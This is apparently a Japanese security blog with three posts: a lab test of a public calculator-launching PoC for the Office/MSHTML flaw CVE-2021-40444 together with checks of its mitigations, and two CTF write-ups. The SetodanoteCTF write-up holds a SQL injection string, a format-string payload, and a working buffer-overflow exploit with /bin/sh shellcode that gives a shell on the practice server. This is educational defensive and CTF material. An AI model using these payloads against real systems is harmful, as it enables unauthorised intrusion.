CVE-2021-40444 の検証と緩和策・回避策について

はじめに

(2021/09/15) RTFの検証およびWindowsUpdateの検証結果を追加

この記事はゼロデイ攻撃も観測されている、CVE-2021-40444について、PoCおよび緩和策を検証したものである。

今回はRCEによって電卓が起動するdocx文書ファイルを使用したところ、検証結果は次のとおりである。

  • Wordの保護ビューで開く場合、電卓は起動しない
  • グループポリシー設定やレジストリ設定は初めて開いたときは電卓は起動しないが、二回開くと電卓が起動した。

結論としては、保護ビューで開く、もしくは外部への通信が必要となるので、通信しない環境で開く(クローズにした仮想マシン)のがよさそう。 2021年9月の月例アップデートにてパッチが適用されたため、速やかに適用するのがよい。(2021/9/15追記)

また、この文書ファイルだけではないが、安全なことを確認できていないファイルは開かないことが重要である。 (安全と判断するのが難しくはある)

CVE-2021-40444についての簡単なまとめ

CVE-2021-40444については、すでに様々な記事にて解説はされているが、MSHTMLという実行ファイルにかかわる脆弱性であり、実際の攻撃としては、次の手順のものが確認されている。

  • 細工された.docxファイルを開く
  • 細工された.docxファイルが外部にあるHTMLファイルを取得する(通信を行う)
  • 取得したHTMLファイルをMSHTMLが実行し、cabファイルを悪用して攻撃する。

PoCの検証

今回はGithubに挙げられていた下記のPoCで検証した。このPoCでは試すと電卓が起動する。

GitHub - lockedbyte/CVE-2021-40444: CVE-2021-40444 PoC

検証した環境としては次の通り

  • Kali Linux
    • Windows 10で開くdocxファイルの作成
    • 開いたdocxが通信するサーバの役割(python3 -m http.server 80で実現)
  • Windows 10
    • docxを開くやられ環境

実際に実行すると次のようになる。(注:実際に実行した後に位置調整はしている)

f:id:kataware8136:20210912135332p:plain
PoCの検証

緩和策、回避策の検証

ここからはMicrosoftの緩和策、回避策を検証する

緩和策としては、保護ビューおよびApplication Guard for Officeがあるが、Application Guard for OfficeはMicrosoft365 Enterpriseの機能であるため、個人環境の私は検証できていない。

回避策としては、グループポリシーの設定もしくはレジストリの設定となっている。

保護ビューによる緩和策

保護ビューは「インターネットから取得したファイル」「安全でない可能性のある場所のファイル」「Outlookの添付ファイル」に対して制限モードで開く。 どのファイルを保護ビューで開くかは「オプション」→「トラストセンター」→「保護ビュー」で確認できる。

f:id:kataware8136:20210912140539p:plain
保護ビューについて

今回は仮想マシンで検証していたため、PoCで作成したファイルは保護ビューの対象ではないため、ZoneIDを付与して保護ビューで起動するように設定する。

ZoneIDについては次の@soji256氏のブログが参考になる。

ZoneID を付与する方法など - setodaNote

ZoneIDを付与して保護ビューで開いた結果、電卓は起動せず、次の通りとなった。

f:id:kataware8136:20210912141142p:plain
ZoneIDを付与した結果

編集を有効にするボタンを押すと電卓が起動するため、編集を有効にするボタンは押さないようにすることが大切である。

グループポリシーおよびレジストリによる緩和策

グループポリシーおよびレジストリにてActiveXコントロールを無効化するとのこと

グループポリシーの場合、[コンピュータの構成]→[管理用テンプレート]→[Windowsコンポーネント]→[Internet Explorer]→[インターネットコントロールパネル]→[セキュリティページ]の[インターネットゾーン]、[イントラネットゾーン]、[ローカルマシンゾーン]の[署名済みActiveXコントロールのダウンロード]および[未署名のActiveXコントロールのダウンロード]を無効化すればよい。

f:id:kataware8136:20210912143607p:plain
グループポリシーの設定

この設定をしたうえで、文書ファイルを開いた結果、電卓は起動しなかった。

f:id:kataware8136:20210912150747p:plain
グループポリシー設定後に開いた場合

なお、このファイルを閉じて再度文書ファイルを開くと電卓が起動した。

f:id:kataware8136:20210912150938p:plain
グループポリシー設定後の二回開いた場合

また、レジストリの設定は下記の内容のテキストデータを.reg拡張子で保存し、実行する。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003

レジストリを反映させた後は、再起動を行う。

これを設定した後に文書ファイルを開いたところ、グループポリシー設定時と同様に初めて開いた場合は電卓が起動しなかったが、一度文書ファイルを閉じたあと再度開くと電卓が起動してしまった。

グループポリシーおよびレジストリ設定した後、二回開くと電卓が起動するという点について、なぜ起動してしまうのかは不明。 私の設定が何か間違っている可能性はあるかもしれないが、あまり過信をしてはよくない可能性はある。

RTFの検証結果(2021/9/15追記)

上の節で作成した、docxファイルをrtfに保存しなおして、RTFでのCVE-2021-40444がどうなるかを検証した。

結果としては、docxと同様にRTFファイルを開くと電卓が起動、また@buffaloverflow氏のツイートにあるようにExplorer上のプレビューで開いた場合にも電卓が起動することを確認した。Explorer上のプレビューで起動する動画は次の通り

Windows Update後にどうなるかを調査した結果(2021/9/15追記)

2021年9月の月例アップデートでは、このCVE-2021-40444のパッチが適用される。

Windowsのゼロデイ脆弱性2件に対処 ~Microsoftが2021年9月のセキュリティ更新を発表 - 窓の杜

Security Update Guide - Microsoft Security Response Center

アップデートを適用した後にdocxとRTFを開いてみた(RTFはexplorerでのプレビューも)が、どちらも電卓が起動しないことを確認できた。

まとめ

  • CVE-2021-40444について、電卓を起動するPoCを検証した
  • 緩和策にある保護ビューで開いた場合には電卓が起動しないことを確認した
  • 回避策にあるグループポリシーおよびレジストリ設定の回避策を行った際は、初めて開いた際は電卓は起動しなかった
    • なお、二回開くと電卓が起動したが、この原因・理由については、知識不足故不明

(以下2021/9/15追記) * RTFが使われた場合、開くと電卓が起動する他、Explorer上のPreviewで見ても、電卓が起動することを確認した。 * 2021年9月の月例アップデート適用後にdocxおよびrtfを開いても電卓は起動しなかった。

SetodanoteCTF Writeup

解いた問題のWriteupです。問題数が多いので、書き漏らしとかもあるかもだし、あんまり解説っぽくはないですが、誰かの参考になれば。 5850点で68位でした。

Misc

Welcome

指示通りにやるだけ、ようこそCTFへ flag{Enjoy_y0ur_time_here!}

Hash

Hashmyfilesを使って探して終わり pass024.txtとpass034.txtとpass079.txt

flag{hardest_logic_puzzle}

F

Brainf**k

flag{Don't_Use_the_F-Word!!}

Nothing

空白とかが多いのでWhitespaceっぽいと思ったら、その通りだった。

flag{And_Then_There_Were_None}

i_knew_it

アセンブリに100h(256)があって配列初期化、最終的にxorしてるのでRC4

flag{RC4}

Network

Host

Wiresharkで見るだけ

flag{ctf.setodanote.net}

tkys_never_die

HTTP通信とflag.pngをやり取りしているのが見える。Wiresharkの機能で書き出せばflag

flag{a_treasure_trove}

echo_request

ICMPパケットのデータで1byteずつ送信してる

flag{ICMP_Tunneling_T1095}

T1095 はAtt&CKのTechnique

Digdig

Digで問い合わせている部分のhexを読み解く。 005aa0 のあとの2桁が順番

flag{DNS_S3cur17y_T1071!}

Logger

USBのデータを書き出して、打ち込まれたデータを確認する。 PostFailはShift Keyの意味。詳細はこちらを参考にしてもらえれば

newmap = {
2: "PostFail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",
11: "h",
12: "i",
13: "j",
14: "k",
15: "l",
16: "m",
17: "n",
18: "o",
19: "p",
20: "q",
21: "r",
22: "s",
23: "t",
24: "u",
25: "v",
26: "w",
27: "x",
28: "y",
29: "z",
30: "1",
31: "2",
32: "3",
33: "4",
34: "5",
35: "6",
36: "7",
37: "8",
38: "9",
39: "0",
40: "\n",
41: "esc",
42: "del",
43: "   ",
44: " ",
45: "-",
47: "{",
48: "}",
55: ".",
56: "/",
57: "CapsLock",
79: "RightArrow",
80: "LetfArrow"
}
myKeys = open('hexoutput.txt')
i = 1
res=''
for line in myKeys:
    bytesArray = bytearray.fromhex(line.strip())
    #print "Line Number: " + str(i)
    for byte in bytesArray:
        if byte != 0:
            keyVal = int(byte)
            if keyVal in newmap:
            #print "Value map : " + str(keyVal) + " — -> " + newmap[keyVal]
                print(newmap[keyVal])
                print(bytesArray)
                res += newmap[keyVal]
            else:
                print("No map found for this value: " + str(keyVal))

print(res)
    #print format(byte, ‘02X’)
#PostFailPostFailoPostFailne popular bbuut unverified explanatindeloonn for the #PostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailrPostFailPostFailtPostFailPostFailPostFailyPostFail arrangement is that it wwaas designed to reduce #the likelihood of flagPostFailPostFail{PostFailPostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailPostFail-PostFailkeyb0ardPostFailPostFail-#PostFailPostFailPostFailrPostFailPostFailtPostFailPostFailyPostFailPostFail}PostFail internal clashhiing of typebarddels by placing commonly usseed combinatiiooonns #of letters farther froomm each oher inside the machine.

flag{QWE_keyb0ard_RTY}

Web

Body

ソースコードにflag

Header

HTTPヘッダ、x-setodanotectf-flag にフラグ

BurpやらWiresharkやらでみておけばOK

flag{Just_a_whisper}

puni_puni

punycodeと呼ばれるもの、デコードすると下記の通り

フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.

flag{33punycode44}

Mistake

よくわからんなーとディレクトリトラバーサルでも探すかと思ってimagesフォルダみたらflagがあった。

flag{You_are_the_Laughing_Man,_aren't_you?}

tkys_royale

SQLiっぽいと思って適当に入力したら、エラーとクエリを教えてくれた。 適当にコメントをつけたらおしまい。よくみたらMySQLって教えてくれてた。

pass' or 1=1; #

flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

Estimated

お詫びの記事に不適切な画像、そして記事が昨日(20210603)ということがわかる。

題意通りに推測して images/20210602001b.jpgにアクセスするとflagが見える。

flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}

Redirect

ソースコードを見るとgoogleとかがrefererの場合遷移する仕組み、ビジター詐欺とかで使われる手口

リダイレクトの内容はFiddlerなりBurpなりを使ってみていく。

途中でcallback=getFlagにする必要があるのがわかるのでそのようにするとFlag

flag{Analyz1ng_Bad_Red1rects}

OSINT

tkys_with_love

c6df6で検索すると船が出てくるのでそれがflag Callsignは船のことらしい

flag{Symphony_of_the_Seas}

tkys_eys_only

画像に緯度経度があるのでそれを読み取る。 国連っぽいところなのが分かるので、それが回答

flag{United_Nations}

Ropeway

見たことあるなー、そこそこ大きい湖、観覧車これはもしや舘山寺では?と思って入力したらflagだった。

flag{kanzanji}

Crypto

base64

題意通りbase64すれば答え

flag{It's_called_base64!}

ROT13

これも題意通りROT13すれば答え

flag{Even_you_Brutus?}

pui_pui

16進文字列っぽいのでCyberchefのFrom Hexを使うとflagが見える。

flag{Have_you_ever_heard_of_Hexdump?}

tkys_secret_service

ROT13かませるとCUIという文字が出てくるのと、Controlledっぽい文字が見える。 このCUIはControlled Unclassified Informationの略だと思われるので、これが換字式暗号と予想がつく。

pnopnoとかpuipuiっぽい、flagだけわかればいいので、適当にやったら通った。多分アルファベット一文字一文字に対応したマッピングはできると思うよ。

flag{puipui_car_of_mol}

lets_bake

Base64っぽい文字列と]b2[sで分けられている。 サイバーシェフのレシピなんだろうということで、]b2[sで分割してbase64をかけるレシピがわかる。

From_Base64('A-Za-z0-9+/=',true)
From_Hex('None')
Fork('%','_',false)
RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')

Input:NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0 を読み込ませるとflag

flag{hello_baked_cipher}

vul_rsa_01

暗号文c, 公開鍵n,e が与えられている。 Nが大きくないので素因数分解できそうと予想し、msieveを使う。

$ ./msieve -q -v -e 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257


Msieve v. 1.53 (SVN Unversioned directory)
Mon Aug 23 06:55:55 2021
random seeds: 4c03013e d1b9d622
factoring 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 (89 digits)
searching for 15-digit factors
searching for 20-digit factors
searching for 25-digit factors
200 of 214 curves
completed 214 ECM curves
commencing quadratic sieve (89-digit input)
using multiplier of 13
using generic 32kb sieve core
sieve interval: 28 blocks of size 32768
processing polynomials in batches of 8
using a sieve bound of 1532627 (58333 primes)
using large prime bound of 122610160 (26 bits)
using double large prime bound of 362532985427040 (42-49 bits)
using trial factoring cutoff of 49 bits
polynomial 'A' values have 11 factors

sieving in progress (press Ctrl-C to pause)
58758 relations (15937 full + 42821 combined from 617674 partial), need 58429
58758 relations (15937 full + 42821 combined from 617674 partial), need 58429
sieving complete, commencing postprocessing
begin with 633611 relations
reduce to 142194 relations in 11 passes
attempting to read 142194 relations
recovered 142194 relations
recovered 120278 polynomials
attempting to build 58758 cycles
found 58758 cycles in 6 passes
distribution of cycle lengths:
   length 1 : 15937
   length 2 : 11198
   length 3 : 10287
   length 4 : 7903
   length 5 : 5503
   length 6 : 3500
   length 7 : 2072
   length 9+: 2358
largest cycle: 18 relations
matrix is 58333 x 58758 (15.3 MB) with weight 3530463 (60.08/col)
sparse part has weight 3530463 (60.08/col)
filtering completed in 3 passes
matrix is 54234 x 54298 (14.2 MB) with weight 3275850 (60.33/col)
sparse part has weight 3275850 (60.33/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 54186 x 54298 (10.6 MB) with weight 2715063 (50.00/col)
sparse part has weight 2240850 (41.27/col)
using block size 8192 and superblock size 1179648 for processor cache size 12288 kB
commencing Lanczos iteration
memory use: 6.4 MB
lanczos halted after 858 iterations (dim = 54184)
recovered 17 nontrivial dependencies
p43 factor: 3058517013146002381763962882964790715736519
p46 factor: 4372642466716249946441875327733923056149624303
elapsed time 00:16:28

少し時間はかかったが、素因数分解完了。あとは解くだけ。

from Crypto.Util.number import *

p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303
phi = (p-1) * (q-1)
e = 65537
c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
N = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257

def ex_euclid(x, y):
    c0, c1 = x, y
    a0, a1 = 1, 0
    b0, b1 = 0, 1

    while c1 != 0:
        m = c0 % c1
        q = c0 // c1

        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)

    return c0, a0, b0

d = ex_euclid(e, phi)[1]
p = pow(c,d,N)
print(long_to_bytes(p))

flag{weak_rsa_can_be_decrypted!}

vul_rsa_02

先ほどと与えられたものは同一だが、eの値が大きい。 このときはWiener's Attackが使える。

ここから実装をお借りしてsolverを書く。

from Crypto.Util.number import * 
import ContinuedFractions 
import Arithmetic
import RSAwienerHacker

c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

d = RSAwienerHacker.hack_RSA(e,n)
print(d)
print(long_to_bytes(pow(c,d,n)))
$ python3 setodanote_vul_rsa2_solve.py 
Hacked!
19780253153570454414022314122363673676673
b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'

flag{197_Michael_J_Wiener_673}

WEARESIA

全然わからなかったがCIAという単語からひっかけたらKryptosという暗号の模様。 そんなに長くなく、前半部分はk1と呼ばれるものと一緒だったので飛ばせる。

私は次のサイトを参考にして手動でやった。 The Kryptos Sculpture Solutions

PALIMPSEST
   RCDNKFR =    FLAGISW
HHMKVLLTGB = EARETHENAT
MFDUTMALDU = IONSFIRSTL
MKYQTGLWLW = INEOFDEFEN
CM         = SE

FLAG IS WE ARE THE NATIONS FIRST LINE OF DEFENSE

flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}

Rev

Helloworld

実行して、いわれる通りに入力するとflag

PS > .\helloworld.exe
Nice try, please set some word when you run me.
PS > .\helloworld.exe test
Good job, but please set 'flag' when you run me.
PS > .\helloworld.exe flag
flag{free_fair_and_secure_cyberspace}

flag{free_fair_and_secure_cyberspace}

ELF

fileコマンド等でファイルを調べてみると、raw dataと言われる。

バイナリエディタ等で見ると、先頭4byteがおかしいので、58 58 58 587F 4D 4C 46に書き換えると ELFのバイナリと認識する。

そのまま実行してもよいし、中身を見るとNDIOSZ]FwEICAJIU0x28とXORしてるのがわかるので、それで答えてもよし。

flag{run_makiba}

Passcode

Ghidraで開くと入力した文字列がflagとなる形式だとわかる。 入力した文字列は20150109と比較しているのがわかる。

flag{20150109}

Passcode2

基本はPasscodeと一緒、中身を見ると変数と0x2aでxorしているのがわかるので、 Pythonで計算しておく。

key = [0x18,0x1f,4,0x79,0x4f,0x5a,4,0x18,0x1a,0x1b,0x1e]
res = ''.join([chr(i ^0x2a) for i in key])
print(res)
# 25.Sep.2014

flag{25.Sep.2014}

to_analyze

_CorExeMainを呼び出しているし、TrIdでみると.NETなことがわかる。

> trid.exe .\to_analyze.exe

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13685
Analyzing...

Collecting data from file: .\to_analyze.exe
 72.5% (.EXE) Generic CIL Executable (.NET, Mono, etc.) (73123/4/13)
 10.4% (.EXE) Win64 Executable (generic) (10525/10/4)
  6.5% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2)
  4.4% (.EXE) Win32 Executable (generic) (4505/5/1)
  2.0% (.EXE) OS/2 Executable (generic) (2029/13)

dnspyでデバッガ使いながら見ると

C:\Users\321txtディレクトリをチェックする。

ディレクトリを作ってあげればflagが取得可能

Yes, that's the right answer.

flag{Do_y0u_Kn0w_Ursnif?}

flag{Do_y0u_Kn0w_Ursnif?}

Forensic

paint_flag

word開くと書いてあるようにdocxファイルはzipファイル

zip解答するとflagが見つかる

flag{What_m4tters_is_inside;)}

Mail

Sentというファイルを見ると添付ファイルがある、 書き出すとflag

flag{You've_clearly_done_a_good_job_there!!}

Deletedfile

ファイルをTrIDで見てみるとMaster Boot Record dumpと表示される。

> trid .\deletedfile.raw

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13685
Analyzing...

Collecting data from file: .\deletedfile.raw
100.0% (.) Master Boot Record dump (2/1)

Autopsyで解析すると削除されたファイルの部分でflagが見つかる。

flag{nosce_te_ipsum}

Timeline

dbファイルのactivityのpayloadのところで.txtを見ていくとflagがある。 flag{Th3_Fu7Ure_1s_N0w}

browser_db

問題名通り、ファイルはSQLITEのファイル。

> trid .\stella_9s84jetw.default-release_places.sqlite

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13685
Analyzing...

Collecting data from file: .\stella_9s84jetw.default-release_places.sqlite
100.0% (.SQLITE/SQLITE3) SQLite 3.x database (15000/1)

SQLITEの中身を見てmoz_placesをみるとflagがある

flag{goosegoosego}

tkys_another_day

exiftoolで見てみるとapngという動く画像ファイルらしい。 pipでapngモジュールがあるのでそれで、画像を取り出してみたらflag

https://github.com/eight04/pyAPNG

flag{a_fake_illness_is_the_most_serious_disease_f5ab7}

CSIRT_asks_you_01

4625,4624のログを見る。 7/19 5:24分ごろまで失敗の履歴があるので、それ以降でログインに成功しているものが不正と考える。

flag{2021/07/18_20:09:21_4624}

Programming

ZZZIPPP

1000回ほどzipされてそう、Pythonでサクッとループを回す。

>>> import zipfile
>>> n = 1000
>>> for i in range(1000):
...     with zipfile.ZipFile('flag' + str(n) + '.zip') as existing_zip:
...             n = n - 1
...             existing_zip.extract('flag' + str(n) + '.zip')

最後flag1.zipを展開したら答え

flag{loop-zip-1989-zip-loop}

echo me

ncすると、数字がかえってくる。何回やればいいかはわからないのでpythonを使うことにする。

>>> import re
>>> import socket
>>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> s.connect(("10.1.1.10",12020))
>>> while True:
...     msg = s.recv(1024)
...     print(str(msg))
...     if 'flag' in str(msg):
...             break
...     if 'echo me' not in str(msg):
...             continue
...     m = re.search('echo me: ([0-9]+)',str(msg))
...     print(m.group(1))
...     s.send(m.group(1).encode('utf-8') + b'\n')
...

#--snip--
#b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'

flag{Hellow_yamabiko_Yoo-hoo!}

EZZZIPPP

パスワードzipされたので、ZZZIPPPを適当に修正すればよさそう。

>>> n = 998
>>> for i in range(998):
...     with open("pass.txt","r") as f:
...             pas = f.read().strip()
...     with zipfile.ZipFile('flag' + str(n) + '.zip') as zp:
...             try:
...                     zp.extractall("./",pwd=pas.encode("utf-8"))
...             except RuntimeError as e:
...                     print(e)
...     n = n - 1

flag{bdf574f15645df736df13daef06128b8} 終わってから気づいたけどpass.txtはどんどん上書きされるから、printしとくといいかも

deep_thought

計算する感じ、計算はeval使っとけばいいかなと思ったのでそうした。

>>> import re
>>> import socket
>>> import time
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(("10.1.1.10",12010))
>>> while True:
...     time.sleep(1)
...     msg = s.recv(1024)
...     print(msg.decode('utf-8'))
...     if 'flag' in msg.decode('utf-8'):
...             break
...     m = re.search('\[ Q[0-9]+ \]\n(.*)\n',msg.decode('utf-8'))
...     ans = str(eval(m.group(1)))
...     print("ans = " + ans)
...     s.send(ans.encode('utf-8') + b'\n')
... 
# --snip--
# flag{__42__}

flag{__42__}

Pwn

tkys_let_die

ソースコードみるとgateの変数が上書きできそうなので、それを上書きできるような文字を送り込む

flag{Alohomora}

1989

ncするとCWE-134という文字が表示される。

ソースコードはないが書式文字列のバグがあるのだろうという予想をつける。

入力した文字列を出力するようなプログラムと予想して、投げ込む。

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x565ed060] >> flag is here << 
        | 

Ready > AAAA%x.%x.%x.%x.%x.%x.%x.%x
Your Inpur : AAAAffed6150.ffed6558.565ea306.41414141.252e7825.78252e78.2e78252e.252e7825

4つめが41414141となっているので、それを呼び出せるようにする。

````

$ nc 10.1.1.10 13030


/ \ \ / / | / | | || |
| | \ \ /\ / /| |
| | ) | || | | | \ \/ \/ / | | || | || <| | | | \ /\ / | | | |) | | |
_
| \/ \/ |
| ||_/ ||


    | 

flag | [0x56656060] >> flag is here << |

Ready > eV.%4$s Your Inpur :eV.flag{Homenum_Revelio_1989} ````

shellcode

x64でshellcodeをbofする問題

import sys,re
import struct
from pwn import *

#addr_buf = int(sys.argv[1], 16)
bufsize = 80

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

r = remote('127.0.0.1', 13050)
time.sleep(1)
msg = r.recv(1024)
print(msg.decode('utf-8'))

m = re.search('\[(0x[a-f0-9]+)\]', msg.decode('utf-8'))
print(m.group(1))
addr_buf = int(m.group(1),16)

buf = shellcode
buf += b'A' * (bufsize - len(buf))
buf += b'A' * (8 - len(buf)%8)  # alignment
#buf += b'AAAAAAAA'
buf += struct.pack('<Q', addr_buf)


r.send(buf+b'\n')
print(buf)
r.interactive()
$ python3 exploit.py 
[+] Opening connection to 10.1.1.10 on port 13050: Done
       |
target | [0x7ffdd445a8a0]
       |
Well. Ready for the shellcode?
> 
0x7ffdd445a8a0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f\x00\x00'
[*] Switching to interactive mode
H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f
$ id
uid=999(user) gid=999(user) groups=999(user)
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd /home
$ ls
user
$ cd user
$ ls
flag
shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

おわりに

中期間という取り組みやすいCTFを開催していただき@soji256さん、ありがとうございました。

CakeCTF 2021 Writeup(nostrings, Hash browns)

プログラム内のデータと何らか計算したデータを比較する場合、 プログラム内のデータを楽に取得できるGhidra Scriptを使って解くのが便利。 ということでGhidra Scriptを使ったWriteup

とはいっても、Ghidra特有の部分はtoAddrgetBytesくらい

nostrings

Ghidraで見ると入力した文字列に対して、DAT__00104020の、計算した値と比較していることがわかる。

f:id:kataware8136:20210829224917p:plain
nostrings_main

Flagに使用される文字列はアルファベット大文字小文字、数字、_?!{}くらいであろうことが、stringsの一覧からわかるので Ghidra Scriptを作成する。

import string

flag_ch = string.ascii_letters + string.digits + '_?!{}'
print(flag_ch)

flag = ''
for i in range(0x40):
    for c in flag_ch:
        tmp = chr(getBytes(toAddr(0x104020 + (ord(c) * 0x7f + i)),1)[0])
        if tmp == c:
            flag += c
            break
 
print(flag)
# CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}

CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}

Hash browns

こちらも読んでみると入力された文字列の奇数番目のmd5の先頭10桁と偶数番目のsha256の先頭10桁を比較していることがわかる。

f:id:kataware8136:20210829225628p:plain
hash_browns

md5の比較する対象のデータは順番通りだが、sha256の比較する対象のデータはf関数で順番がいじってある。

今回は使われる文字列がわからないので、記号はstring.punctuationを使用した。

import string
import hashlib

flag_ch = string.ascii_letters + string.digits + flag.punctuation
flag = ''

def f(a,b):
    if b == 0:
        return 1,0
    else:
        d, c = f(b, a % b)
        d = d - (c * (a // b))
    return c,d

for i in range(0x25):
    k = f(i,0x25)[0]
    if k < 0:
        k = k + 0x25
    for c in flag_ch:
        md5 = hashlib.md5(c).hexdigest()[:10]
        calc_val = ''.join([chr(j) for j in getBytes(toAddr(0x1020a0 + (0xb * i)),0xa)])
        if md5 == calc_val:
            flag += c
            break
    for c in flag_ch:
        sha256= hashlib.sha256(c).hexdigest()[:10]
        calc_val = ''.join([chr(j) for j in getBytes(toAddr(0x102240 + (0xb * k)), 0xa)])
        if sha256 == calc_val:
            flag += c
            break

print(flag)
# CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}

CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}

おわりに

気づいたのが8/29 13時頃だったのが一番の反省。

少ない時間でも楽しめるCTFを用意してくれた運営のptr-yudai氏、yoshiking氏、ふるつき氏に感謝を